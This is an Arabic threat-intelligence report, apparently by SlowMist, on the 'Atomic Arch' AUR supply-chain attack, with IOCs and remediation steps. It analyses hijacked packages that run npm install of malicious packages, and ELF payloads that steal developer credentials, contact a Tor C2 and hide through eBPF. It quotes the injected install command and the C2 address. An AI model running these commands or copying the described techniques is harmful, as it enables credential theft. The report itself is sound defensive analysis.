الخلفية

في يونيو 2026، كُشف عن حادث تسميم سلسلة توريد واسع النطاق في بيئة Arch Linux AUR، وسمّتها Sonatype "Atomic Arch". لم تكن هذه الحادثة نتيجة ثغرة صفرية في مستودعات Arch Linux الرسمية أو pacman أو مساعدات AUR أو Arch Linux نفسها، بل كانت نتيجة استغلال المهاجمين لآلية استلام الحزم اليتيمة في AUR، حيث استولوا بشكل قانوني على حزم لم تعد مُصانة منذ فترة طويلة ولكن لا يزال المستخدمون يثقون بها، ثم عدّلوا ملفات PKGBUILD أو سكريبتات التثبيت الخاصة بها.

عندما يُنفّذ المستخدم عملية تثبيت أو تحديث AUR العادية، يقوم السكريبت الضار باستدعاء npm أو Bun لتثبيت حزمة JavaScript تحت سيطرة المهاجم، واستغلال مُخطّطات حياة npm لتنفيذ حمولة Linux ELF. هذه الحمولة تستهدف بشكل رئيسي محطات عمل المطورين وبيئات البناء على Linux، وتتمتع بالقدرة على سرقة معلومات حساسة مثل GitHub وnpm وSSH وDocker/Podman وVault وبيانات المتصفح وسجلات shell.

في مرحلة الكشف العلني، ازداد عدد حزم AUR المتأثرة من أكثر من 400 حزمة في المراحل المبكرة إلى حوالي 1,500 حزمة. يُظهر هذا الحدث أن المكونات "غير المدعومة ولكن لا تزال موثوقة" في البيئة مفتوحة المصدر تصبح مدخلات جديدة للسلسلة التوريدية يستخدمها المهاجمون لربط النصوص وخطوات دورة حياة مدير الحزم والبيئات المحلية للمطورين.

يُستند هذا المقال إلى نتائج التحليل الثابت الذي أجراه MistEye على `runescape-launcher` و`atomic-lockfile@1.4.2` و`js-digest@4.2.2`، حيث يُلخص المراحل التقنية الرئيسية لسلسلة الهجوم. هذه العينات ليست جميع عينات الهجوم، بل تُستخدم لكشف نمط الهجوم من خلال تحليل تقني.

استجابة MistEye

MistEye هو نظام متكامل للتهديدات الاستخباراتية والمراقبة الأمنية الديناميكية للويب3، تم تطويره ذاتيًا من قبل SlowMist، ويدمج قدرات المراقبة الأمنية وتجميع الاستخبارات لتقديم تحذيرات فورية عن المخاطر وحماية الأصول للمستخدمين.

في حادثة تسميم سلسلة التوريد Arch Linux AUR هذه، قام MistEye بتحليل وربط مكونات سلسلة الهجوم، بما في ذلك الحزم الضارة ذات الصلة، واعتماديات npm، وحمولات ELF، والاتصالات C2، والتنزيلات من المرحلة الثانية، واستخلاص IOC ذات الصلة. بناءً على نتائج التحليل، قام MistEye بإرسال تنبيهات مخاطر عالية الخطورة وإشعارات استخبارات تهديد إلى العملاء، لمساعدتهم على التعرف على مخاطر سلسلة التوريد ذات الصلة ومعالجتها في الوقت المناسب. تفاصيل الاستخبارات:

يُرجى الاطلاع على التحليل الفني التفصيلي.

تحليل سلسلة الهجوم: نصيب تثبيت AUR إلى سكريبتات دورة حياة npm

يمكن تلخيص الخط الرئيسي التقني لهذا الهجوم على ثلاثة مستويات متتالية: حيث يقوم المهاجمون باستيلاء على حزمة AUR وتعديل سكريبتات البناء/التثبيت، مما يُفعّل أمر npm install أثناء تثبيت أو تحديث pacman لجلب الحزمة الضارة، ثم يستخدمون سكريبتات دورة حياة npm (preinstall) لتنفيذ تلقائي للحمولة الأصلية Linux ELF المضمنة داخل الحزمة. فيما يلي التفصيل حسب كل مستوى.

على سبيل المثال، باستخدام حزمة runescape-launcher (الإصدار 2.2.12-1)، أدخل المهاجمون إشارة إلى install.sh في .SRCINFO و PKGBUILD، وحددوا npm كاعتماد تشغيلي.

البيانات الأساسية في SRCINFO:

الإقرار المقابل في PKGBUILD:

install.sh هو ملف نصي تثبيت pacman. قام المهاجم بتعريف الدالة post_install() في هذا الملف، ووجه post_upgrade() إلى نفس الدالة:

السلسلة التنفيذية الرئيسية هي كالتالي:

يُعلن SRCINFO أن install = install.sh وdepends = npm

→ إعلان مزامنة PKGBUILD install="install.sh" و depends=('npm' ...)

→ makepkg يُضمن install.sh داخل حزمة pacman النهائية

→ يتم استدعاء post_install() عند التثبيت الأولي لـ pacman

→ عند الترقية إلى pacman، يتم استدعاء post_upgrade()

→ يتم استدعاء post_install() من خلال post_upgrade()

→ post_install() انتقل إلى /tmp

→ نفّذ npm install atomic-lockfile commander chalk → npm تثبيت atomic-lockfile@1.4.2

→ تشغيل preinstall لـ atomic-lockfile

→ تنفيذ حمولة Linux x86-64 ELF src/hooks/deps

يجب ملاحظة النقاط التالية: commander و chalk هما حزمتان شائعتان وقانونيتان على npm، ولا تُعدان بالضرورة حزمًا خبيثة؛ كما أن هناك منطق setcap أصليًا/مصاحبًا داخل نفس دالة post_install()، والنقطة الخبيثة المضافة هي cd /tmp و npm install atomic-lockfile commander chalk.

الهدف الأساسي من تصميم هذا الطبق هو استخدام دورة تثبيت/ترقية حزم pacman كمُحفّز لنقل صلاحيات التنفيذ من مدير الحزم النظامي إلى npm، وسيتم تفعيل ذلك عند التثبيت الأولي وعند الترقية.

تم استخدام atomic-lockfile@1.4.2 كأول حزمة ضارة تم التحقق منها في الهجوم. تبدو هذه الحزمة كمكتبة لأدوات قفل الملفات، مع الحفاظ على هيكل كامل لمكتبة TypeScript/JavaScript، ونقاط الدخول main/module/exports، وواجهة سطر الأوامر والتعريفات النوعية. لكن المهاجمين قاموا بتكوين تنفيذ تلقائي لملف ثنائي أصلي في scripts.preinstall داخل ملف package.json:

src/hooks/deps ليس نص تثبيت تبعيات عادي، بل هو ملف تنفيذي Linux x86-64 PIE ELF مُزَوَّر من جدول الرموز. البيانات الوصفية الأساسية:

• مسار الملف: src/hooks/deps
• نوع الملف: ملف تنفيذي ELF 64 بت LSB pie، x86-64، مرتبط ديناميكيًا، مُزال
• ELF SHA-256: 6144d433f8a0316869877b5f834c801251bbb936e5f1577c5680878c7443c98b
• الحجم: 3,040,376 بايت
• الاعتمادات الديناميكية: libbpf.so.1 و libm.so.6 و libc.so.6
• مُدمج SHA-256 لجسم eBPF: 3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01
• موضع كائن eBPF المضمن: 0x324f9
• SHA-256 للملف الأصلي tarball: 64bc53032ecfbf4e25d0191d75321821ba2ae01bdb123b4c8c2ebd12161253fc

تغطي قدرات حمولة ELF جمع الاعتمادات، الاستمرارية، الاتصال/التحميل عبر قنوات متعددة، ومحاولة تفعيل مكون التخفي eBPF عند وجود صلاحيات root أو القدرات المناسبة، وسنستعرضها بالتفصيل أدناه.

فك التشفير بعملية XOR المتكررة مع خدمة Tor المخفية C2

في حمولة ELF لـ atomic-lockfile@1.4.2، لم تظهر خادم C2 الأساسي كسلسلة نصية واضحة، بل تم تخزينها بعد تشفيرها باستخدام repeating-XOR. يحتوي العينة على مفتاح بطول 32 بايت عند الإزاحة 0x1aa60، ونص مشفر بطول 62 بايت عند الإزاحة 0x2da96. طريقة فك التشفير هي:

plain[i] = cipher[i] ^ key[i % 32]

يُعطي الترميز المفكك عنوان خدمة مخفية من Tor v3:

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion

يبلغ طول 62 بايت بالضبط 56 حرفًا لاسم مضيف Tor v3 مع لاحقة .onion. بالإضافة إلى مضيف C2، يستخدم العينة نفس الفكرة لترميز معرف العميل والإصدار:

• اسم العميل: atomic، مزاحف المفتاح 0x1bc60، مزاحف التشفير 0x3fddf
• إصدار العميل: 0.8.2، مزاح المفتاح 0x1c900، مزاح التشفير 0x3fde5

هذا التصميم يجعل C2 الكامل لا يظهر في مخرجات السلاسل العادية. وبالتالي، قد لا يمكن اكتشاف خدمة C2 المخفية فقط من خلال strings | grep .onion أو قواعد YARA النصية أو عمليات استخراج IOC البسيطة.

رابط اتصال Tor/SOCKS

على الرغم من أن مضيف C2 مخفي بواسطة تشفير XOR، إلا أن سلاسل نصية واضحة مرتبطة بـ SOCKS/Tor لا تزال مرئية في ELF، مثل:

تُظهر هذه السلاسل مع عناوين .onion المفككة أن هذا الحمولة يحتوي على إطار عمل اتصال مدمج للوصول إلى خدمة مخفية C2 عبر SOCKS/Tor.

في الوقت نفسه، توجد في ELF سلاسل مرتبطة ببناء ورفع طلبات HTTP، بما في ذلك POST وGET وHTTP/1.0 وHTTP/1.1 وHost: وContent-Length: وContent-Type: application/json وContent-Type: application/octet-stream وPOST /upload HTTP/1.1 وContent-Type: multipart/form-data. يشير POST /upload ونموذج multipart إلى أن الـ payload يمتلك قدرة على البناء والرفع، لكن ما إذا كان مرتبطًا بخدمة temp.sh أو إذا كان يتم نقله فعليًا خارجيًا يتطلب تأكيدًا من خلال تحليل حركة المرور الديناميكية أو سجلات البروكسي أو الأدلة الجنائية على المضيف.

Credentials and Development Environment Collection Surface

يغطي سطح جمع بيانات الاعتماد الخاص بـ ELF نقاط تخزين بيانات اعتماد رئيسية متعددة في محطات عمل المطورين الحديثة.

فيما يتعلق ببيانات اعتماد المنصة عن بُعد، يتضمن الحمل سلاسل تحقق من رمز GitHub وتحديد المستودعات—GET /user، GET /user/repos، Authorization: Bearer، Accept: application/vnd.github+json؛ سلاسل تحقق من رمز npm—GET /-/whoami، registry.npmjs.org، _authToken=؛ وسلاسل مرتبطة ببيانات اعتماد Vault—/.vault-token، X-Vault-Token:

فيما يتعلق بأدوات التواصل والتعاون الفوري، تحتوي سلاسل Slack على مسارات واجهة برمجة التطبيقات auth.test و conversations.list و users.info، بالإضافة إلى استعلامات SQL لملفات تعريف الارتباط الخاصة بـ %.slack.com؛ وفيما يتعلق بـ Teams/Skype، تتضمن سلاسل X-Skypetoken: و authsvc.teams.microsoft.com واستعلامات ملفات تعريف الارتباط الخاصة بـ %teams.microsoft.com؛ كما تظهر سلاسل مرتبطة بـ Discord مثل discord:

من حيث البيئات المحلية والحاوية، تركز الحملة على ملفات بيانات اعتماد SSH مثل .ssh و known_hosts و PRIVATE KEY و PuTTY-User-Key-File، بالإضافة إلى مسارات سجلات .bash_history و .zsh_history و .env وملفات تعريف الارتباط وتخزين محلي لمتصفحات Chromium. تظهر سلاسل مرتبطة بـ Docker/Podman وأدوات DevOps — بما في ذلك docker login و docker push و docker pull و docker build و docker run و docker tag و docker-compose و podman login و podman push — في ملفات ELF، لكنها حاليًا تُستخدم فقط كمؤشرات نصية ثابتة، ولم يتم التحقق من سلسلة الاستخلاص الكاملة. claude: يمكن أيضًا استخدام السلاسل كمؤشرات مرتبطة بأدوات الذكاء الاصطناعي، لكنها لا تثبت بمفردها جمع بيانات Claude.

Upload and Stage 2 Download

يحتوي الحمل على قوالب رفع HTTP multipart، بالإضافة إلى مسارات تخزين مؤقت مثل /var/tmp و /secrets. يتمتع العينة بقدرة على التواصل مع المهام/النتائج عبر C2 onion وبناء طلبات رفع multipart؛ ما إذا كان يتوافق مع خدمة temp.sh أو نجح في رفع البيانات أو إتمام نقلها على الجهاز المصاب، يتطلب التأكيد من خلال التنفيذ الديناميكي أو سجلات الوسيط أو أدلة التحقيق على الجهاز. كما تترك سلسلة التنزيل من المرحلة الثانية آثارًا ثابتة واضحة: مسارات التحقق من الـ hash مثل /bin/sha256/ وسلسلة "sha256 fetch:"؛ وعبارة "server returned empty binary" و"tmp 200 headers too large" تشير إلى وجود منطق معالجة أخطاء للتنزيل من المرحلة الثانية. تشكل آثار استرداد Tor bundle /tor-expert-bundle- مع سلسلة نقل SOCKS دليلاً على التحضير للتنزيل.

إشارات مشتبه بها لبرنامج تعدين العملات الرقمية

يظهر سلسلة /usr/bin/monero-wallet-gui في ELF لـ atomic-lockfile. بالاقتران برابط التنزيل المرحلتين، يُستنتج أن الحمل قد يتم استرداده في المرحلة الثانية مع ملفات ثنائية مرتبطة بحفر Monero. لم يتم التحقق من سمات قوية للحفر مثل xmrig وrandomx وstratum ونطاقات خوادم الحفر أو عناوين المحافظ داخل العينة الحالية، وبالتالي لا يمكن التأكيد على وجود حفر داخلي.

Persistent

ظهرت قوالب خدمة systemd في العينة، وتغطي سيناريوهات التشغيل على مستوى المستخدم ومستوى النظام. وهذا يشير إلى نية الحمل على تسجيل نفسه كخدمة نظام للتشغيل المستمر بعد إعادة التشغيل أو بدء جلسة المستخدم.

الاختفاء باستخدام eBPF ومضاد التحقيق الرقمي

eBPF (Extended Berkeley Packet Filter) هي آلية توفرها نواة Linux تسمح للمستخدمين بتحميل وتشغيل برامج مخصصة محدودة دون تعديل شفرة النواة. تُستخدم في الاستخدامات العادية لتصفية الشبكات، وقابلية المراقبة، ومراقبة الأمان، لكن مكون eBPF في هذا العينة تم تصميمه كأداة عكسية — ليس لـ"مشاهدة" النظام، بل لـ"إخفاء" نفسه.

حمولة ELF لـ atomic-lockfile@1.4.2 في src/hooks/deps تعتمد على libbpf.so.1، وتحاول تحميل كائن eBPF قابل للإعادة التوجيه المضمن باستخدام واجهات برمجة التطبيقات مثل bpf_object__open_mem و bpf_object__load و bpf_program__attach و bpf_map__pin. لا يتم تنفيذ هذا المنطق بشكل غير مشروط: يُجري العينة أولاً استدعاء geteuid() للتحقق مما إذا كان المستخدم جذرًا، ثم يقرأ /proc/self/status، ويحلل حقل CapEff:، ويخبر ببتات القدرة المقابلة لـ CAP_BPF و CAP_SYS_ADMIN. بمعنى أدق، فقط عندما تُستوفى شروط الصلاحيات، تدخل العينة مسار محاولة تحميل eBPF. أي أنها تشبه وحدة خفية مشروطة؛ لم تُظهر الأدلة الثابتة الحالية أنها تحقق رفع الصلاحيات بنفسها.

يُظهر التحليل العكسي أن البرنامج المضيف يقرأ كائنًا مُضمنًا بطول 0xce28 من الإزاحة 0x324f9، أي كائن eBPF بحجم 52,776 بايت. ملخص SHA-256 لهذا الكائن هو:

3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01

يُعد كائن eBPF المستخرج منتجًا مُركبًا مستقلًا، ونوع الملف هو ELF 64-bit LSB relocatable، مع معلومات تصحيح / BTF ولم يتم إزالة المعلومات. كما تُسرب معلومات التصحيح مسار المصدر:

/cloud/scales/agent/../ebpf/scales.bpf.c

يجمع هذا الكائن eBPF بين خرائط BPF (جداول البيانات لحفظ الحالة) ونقاط التتبع (نقاط الربط لأحداث النواة) لإنشاء آثار متعددة من القدرات الخفية ومضادات التحقيق الرقمي. ظهرت معلومات التصحيح والرموز مثل hidden_pids وhidden_names وhidden_inodes وnet_fds وdiag_fds وgetdents64 وptrace وrecvmsg وbpf_probe_write_user، مما يشير إلى أن أهداف التصميم تشمل إخفاء العمليات وإخفاء عناصر الدليل وإخفاء الاتصالات الشبكية المرتبطة بـ socket/inode، بالإضافة إلى تعطيل إلحاق المصححات.

من حيث التفاصيل، يمكن تقسيم آثار وظيفة كائن eBPF هذا إلى ثلاث فئات:

1. إخفاء العمليات وعناصر الدليل: يُستخدم hidden_pids لحفظ الـ PID التي تحتاج إلى إخفائها؛ سينفذ المنطق المرتبط بـ sched_process_exec مطابقة أسماء العمليات بناءً على hidden_names عند تنفيذ برنامج جديد، ثم يضيف الـ PID المطابق إلى مجموعة الإخفاء. يتوافق المنطق المرتبط بـ getdents64 مع معالجة نتائج قراءة الدليل، ويمكن للعينات الضارة استخدام هذا لاختفاء الـ PID أو عناصر الدليل المحددة من قوائم الدلائل مثل /proc.
2. تداخل في استيفاء اتصالات الشبكة: تشير أدلة مثل recvmsg و socket و hidden_inodes و net_fds و diag_fds إلى تداخل في نتائج استيفاء اتصالات الشبكة، وقد يؤثر على معلومات socket/inode التي تراها أدوات مثل ss و netstat.
3. منع التصحيح وتعديل النتائج المرتدة: يُظهر ptrace و PTRACE_ATTACH و PTRACE_SEIZE و bpf_send_signal(9) تصميمًا مضادًا للتحقيقات يمنع إرفاق المصحح؛ وتُشير العديد من سلاسل bpf_probe_write_user إلى وجود آثار لتنفيذ تعديل مخازن القراءة في وضع المستخدم، وهي طريقة أساسية لإخفاء عناصر الدليل والعناصر الشبكية.

بما أن هذه تحليل ثابت ولم يتم تنفيذ العينة ديناميكيًا، لا يمكن التأكد من نجاح تحميل كائن eBPF هذا على خادم محدد، ولا يمكن القول إنه أخفى فعليًا عمليات أو إدخالات دليل أو اتصالات شبكة. ولكن من حيث منطق فحص الصلاحيات وهياكل الخريطة ونطاق نقاط التتبع واستخدام bpf_probe_write_user، فإن نية التصميم هي إخفاء آثار العمليات وإدخالات الدليل واتصالات الشبكة ذات الصلة بـ socket/inode تحت صلاحيات root أو القدرات النواة المقابلة، وخلق عقبات أمام التحليل الديناميكي.

js-digest@4.2.2 هو الحزمة الضارة التي تم استخدامها في الموجة التالية من الهجوم. تُظهر هذه الحزمة نفسها كمكتبة أدوات ملخص JavaScript/التشفير، وتحتوي على ملفات مصدر تبدو طبيعية مثل aes.js و sha256.js و hmac-sha512.js و index.js. كما قام المهاجمون بتكوين مدخل preinstall في ملف package.json:

الفرق الرئيسي مع atomic-lockfile يكمن في استراتيجية تسمية الحمل. يوحي لاحق .mjs في install-deps.mjs بأنه وحدة JavaScript ESM، مما قد يقلل من حذر المدققين البشريين وقواعد الكشف المعتمدة على الامتداد. لكن التعرف الثابت على نوع الملف يُظهر أنه في الواقع ELF PIE Linux x86-64. البيانات الوصفية الأساسية:

• مسار الملف: lib/install-deps.mjs
• اللاحقة تشير إلى: وحدة JavaScript ESM
• نوع الملف الفعلي: ملف تنفيذي ELF 64-bit LSB pie، x86-64، مرتبط ديناميكيًا، مُزال
• ELF SHA-256: 7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316
• الحجم: 3,193,176 بايت
• الاعتمادات الديناميكية: libbpf.so.1 و libm.so.6 و libc.so.6
• مُدمج SHA-256 لجسم eBPF: 3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01
• موضع كائن eBPF المضمن: 0x37d91
• SHA-256 للملف الأصلي tarball: 0e6a2b7ef9e15c1b8b002466d75257f7ef4105b7e3f2183df1527de2e1d2bf6f

يستخدم js-digest أيضًا تشفير XOR متكرر لإخفاء C2. يتم تضمين مفتاح بطول 32 بايت عند الإزاحة 0x1cba0، ويتم تخزين النص المشفر بطول 62 بايت عند الإزاحة 0x32bcb، ونتيجة فك التشفير مطابقة تمامًا لـ atomic-lockfile:

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion

معرف العميل وإصداره:

• اسم العميل: cryjs (إزاحة المفتاح 0x1d740، إزاحة التشفير 0x45ec2)
• إصدار العميل: 0.8.4 (مُزاحَف المفتاح 0x1ec40، مُزاحَف التشفير 0x45ec7)

تختلف أسماء العاملين (atomic مقابل cryjs) والإصدارات (0.8.2 مقابل 0.8.4)، لكنهما يشتركان في نفس عنوان onion C2 ونفس كائن eBPF المضمن.

يتشابه js-digest بشكل كبير مع atomic-lockfile في ما يتعلق بالسلاسل المرتبطة بجمع الاعتمادات، وسلاسل النقل SOCKS/Tor، وقوالب رفع multipart، وقوالب التثبيت المستمر لـ systemd، وأجزاء التنزيل المرحلة الثانية (/bin/sha256/، sha256 fetch:)، لكن الإشارات المتعلقة بـ Docker/Podman و@reboot في js-digest أقل وضوحًا مقارنة بـ atomic-lockfile، كما لم يتم التحقق من وجود /usr/bin/monero-wallet-gui في js-digest.

يُعد استخدام لاحقة .mjs وسيلة تجنب تستحق الاهتمام في هذا الهجوم: فهي تستغل ثغرة في الكشف التفاضلي — حيث قد تصنف قواعد التطابق القائمة على السلاسل وأسماء الملفات ملفات .mjs على أنها "وحدات JavaScript" مقبولة، دون التحقق من نوع MIME الحقيقي أو رأس ELF.

عينة مرتبطة: أدلة قاطعة مزدوجة تربط onion C2 بجسم eBPF

هناك دليلاً قاطعًا مستقلًا يمكن نسبته بشكل منفصل بين حزمتي npm الضارتين atomic-lockfile@1.4.2 و js-digest@4.2.2:

الدليل المادي الأول: مشاركة خدمة مخفية Tor C2. على الرغم من أن حملي ELF المختلفين يشتركان في مضيفين مختلفين وأسماء عميل مختلفة (atomic مقابل cryjs) وإصدارات مختلفة (0.8.2 مقابل 0.8.4)، واستخدامهما لمفاتيح XOR متكررة ونصوص مشفرة مختلفة، إلا أن فك تشفيرهما يشير إلى نفس عنوان خدمة Tor المخفية olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion. من المستحيل أن يختار إطاران ضاران مستقلان بشكل عرضي نفس عنوان v3 onion المكون من 56 حرفًا كعنوان C2.

الدليل المادي الثاني: بايتات كائن eBPF المشتركة متطابقة تمامًا. إن ملخص SHA-256 لكائني eBPF القابلين لإعادة التوجيه المضمنين في كل ELF على حدة متطابقان تمامًا:

3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01

حجم كائن eBPF هذا هو 52,776 بايت، ونوع الملف هو ELF 64-bit LSB قابل للنقل، مع debug_info وغير مُزال، وتم وضع علامة على مسار المصدر كـ scales.bpf.c. الخرائط الأساسية (hidden_pids و hidden_names و hidden_inodes) ونقاط التتبع (getdents64 و sched_process_exec و ptrace و openat و recvmsg وغيرها) والوظائف الأساسية (walk_dirent و name_to_pid و bpf_probe_write_user) متطابقة تمامًا في العينتين. كائن eBPF هو ناتج التجميع، وكونه متطابقًا على مستوى البايت يعني أن كلا ELF استخدم نفس كود المصدر eBPF C أثناء البناء.

بالإضافة إلى الأدلة الملموسة المذكورة أعلاه، فإن كلا حمولة ELF تظهران تشابهًا عاليًا في أساليب التصميم من حيث سلاسل جمع بيانات الاعتماد، وهياكل نقل SOCKS/Tor، وقوالب الرفع multipart، وقوالب الاستمرارية systemd، وغيرها من القدرات الهندسية. هذه التوافقات تعتبر ملاحظات مساعدة تدعم بشكل إضافي استنتاج أن العينتين متشابهتان في الأصل.

الاختلافات الرئيسية بين العينتين هي كما يلي: تختلف هاشات ELF المضيف، واسم العميل وإصداره (atomic / 0.8.2 مقابل cryjs / 0.8.4)، واستراتيجية تسمية الحمل (src/hooks/deps مقابل التمويه بـ .mjs)، ويظهر /usr/bin/monero-wallet-gui فقط في atomic-lockfile، كما أن ExecStart=@reboot يُستهدف ثابتًا فقط في atomic-lockfile. تشير هذه الاختلافات إلى أن العينتين مرتبطتان ارتباطًا وثيقًا بنفس البنية التحتية التشغيلية، ونفس سلسلة البناء، أو نفس مجموعة النشاط، وليس مجرد إعادة تغليف بسيطة.

Summary

تعكس هذه الهجوم على سلسلة التوريد لـ Arch Linux AUR الاستغلال المزدوج لضعفين بنيويين في نظام البرمجيات المفتوحة المصدر: أولاً، آلية استلام الحزم اليتيمة في AUR تفتقر إلى مراجعة ثقة للمستلمين، وثانياً، تم ربط حدود الثقة القابلة للتنفيذ لنصائح دورة حياة مدير الحزم (pacman و npm) أثناء مرحلة التثبيت — حيث لا يعتمد المهاجم على أي ثغرة برمجية، بل يبني سلسلة هجوم كاملة من خلال إساءة استخدام آليات الصيانة في النظام المفتوح المصدر وسلوك تصميم مديري الحزم.

يمكن تلخيص الخصائص التقنية لسلسلة الهجوم هذه في ثلاثة مستويات:

إساءة استخدام إرث الثقة في AUR. لم ينشئ المهاجمون حزمًا جديدة أو يستغلوا ثغرات في البرمجيات، بل استولوا على حزم AUR غير المدعومة من خلال مطالبة بها للاستفادة من قاعدة المستخدمين الحالية. على سبيل المثال، مع runescape-launcher، استولى المهاجمون على الحزمة عبر إجراء المطالبة القانوني لـ AUR، ثم أضافوا أمر npm install atomic-lockfile في ملف install.sh، واستخدموا post_upgrade() لاستدعاء post_install() بحيث يتم تفعيله أيضًا أثناء التحديث. عندما ينفذ المستخدمون الضحايا عمليات تحديث عادية مثل yay -S أو paru -S، لا يتوقعون أن تكون ملفات PKGBUILD وسكريبتات .install قد تم تعديلها.

ربط دورة الحياة الثنائية مع إخفاء C2. يستخدم المهاجم نصوص post_install()/post_upgrade() الخاصة بـ pacman كنقطة دخول، ويشغل npm install عند تثبيت/تحديث حزمة AUR، ثم يستغل دورة حياة preinstall الخاصة بـ npm لتنفيذ حمولة Linux ELF. يتم إخفاء عنوان C2 للحمولة عبر ترميز repeating-XOR، ولا يمكن استخراجه مباشرة باستخدام أوامر strings/grep .onion. يُفضل وصف C2 onion كقناة اتصال للمهام والنتائج والحالة؛ كما تمتلك الحمولة قدرة على بناء طلبات رفع multipart. يتطلب التحقق مما إذا كانت الحمولة تتوافق مع خدمة temp.sh أو إذا نجحت في رفعها على خادم الضحية المحدد، أدلة ديناميكية أو سجلات.

تغطي مجموعات الحمل القدرة على الهجمات متعددة المراحل. يغطي حمل ELF القدرات الثابتة على جمع بيانات الاعتماد (GitHub/npm/Slack/Discord/Teams/Vault/SSH والمتصفح، بالإضافة إلى أدلة سلسلة DevOps مثل Docker/Podman)، والاتصال والرفع عبر قنوات متعددة (C2 onion + قوالب رفع متعدد الأجزاء)، وقوالب التثبيت الدائم (خدمة systemd user/system مع WantedBy=multi-user.target و WantedBy=default.target)، وتجنب الدفاعات الشرطية (عند استيفاء الصلاحيات، محاولة تمكين eBPF لإخفاء العمليات وأسماء الملفات وsockets/inodes، وحظر تصحيح ptrace باستخدام bpf_send_signal(9)). كما يضيف js-digest تزويرًا بامتداد .mjs لخفض فعالية الكشف القائم على الامتدادات.

اقتراح:

1. قم فورًا بالتحقق من حزم AUR المثبتة للبحث عن أي PKGBUILD أو نصوص .install تحتوي على أوامر npm install atomic-lockfile أو bun install js-digest أو أوامر جلب مشابهة لـ npm/Bun. في حال اكتشاف حزم متأثرة، يجب إجراء التحقيق الجنائي واستبدال بيانات الاعتماد فورًا في بيئة معزولة.
2. تحقق من وجود خدمات/مواعيد systemd غير طبيعية في ~/.config/systemd/user و /etc/systemd/system، وكذلك من وجود خرائط BPF غير طبيعية مثل hidden_pids و hidden_names و hidden_inodes في /sys/fs/bpf/.
3. قم بتبديل GitHub PAT/GITHUB_TOKEN ورمز npm وجلسات Slack/Discord/Teams ورمز Vault ومفاتيح SSH وبيانات اعتماد Docker/Podman وكل المفاتيح المخزنة في ملف .env للخوادم المتأثرة.
4. يُوصى بإعادة بناء بيئة CI/CD من صورة أساسية موثوقة، بدلاً من تنظيف node_modules أو إزالة حزمة ضارة واحدة فقط.
5. يُنصح مستخدمو AUR بمراجعة PKGBUILD ونصوص .install سطرًا بسطر قبل تثبيت أي حزمة تم اعتمادها مؤخرًا أو كانت غير نشطة لفترة طويلة، مع الانتباه إلى ما إذا كانت تحتوي على استدعاءات لتعليمات خارجية مثل npm install أو bun install أو curl أو wget.

IOC

Domain

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid[.]onion

Malicious dependency

npm:atomic-lockfile@1.4.2

npm:js-digest@4.2.2

npm:nextfile-js@1.4.2

npm:lockfile-js@1.4.2

ملف ضار

اسم الملف: src/hooks/deps SHA256: 6144d433f8a0316869877b5f834c801251bbb936e5f1577c5680878c7443c98b

اسم الملف: lib/install-deps.mjs SHA256: 7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316

اسم الملف: atomic-lockfile-1.4.2.tar.gz SHA256: 64bc53032ecfbf4e25d0191d75321821ba2ae01bdb123b4c8c2ebd12161253fc

اسم الملف: js-digest-4.2.2.tar.gz SHA256: 0e6a2b7ef9e15c1b8b002466d75257f7ef4105b7e3f2183df1527de2e1d2bf6f

اسم الملف: كائن eBPF المضمن SHA256: 3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01

تم إعداد هذا المقال من قبل فريق استخبارات التهديدات في SlowMist بالاعتماد على نظام استخبارات التهديدات MistEye وتحليلات مدعومة بـ SlowMist Agent AI. لا تتردد في التواصل أو تقديم الملاحظات في حال وجود أي أسئلة.

رابط المرجع

1.https://www.sonatype.com/blog/atomic-arch-npm-campaign-adds-malicious-dependency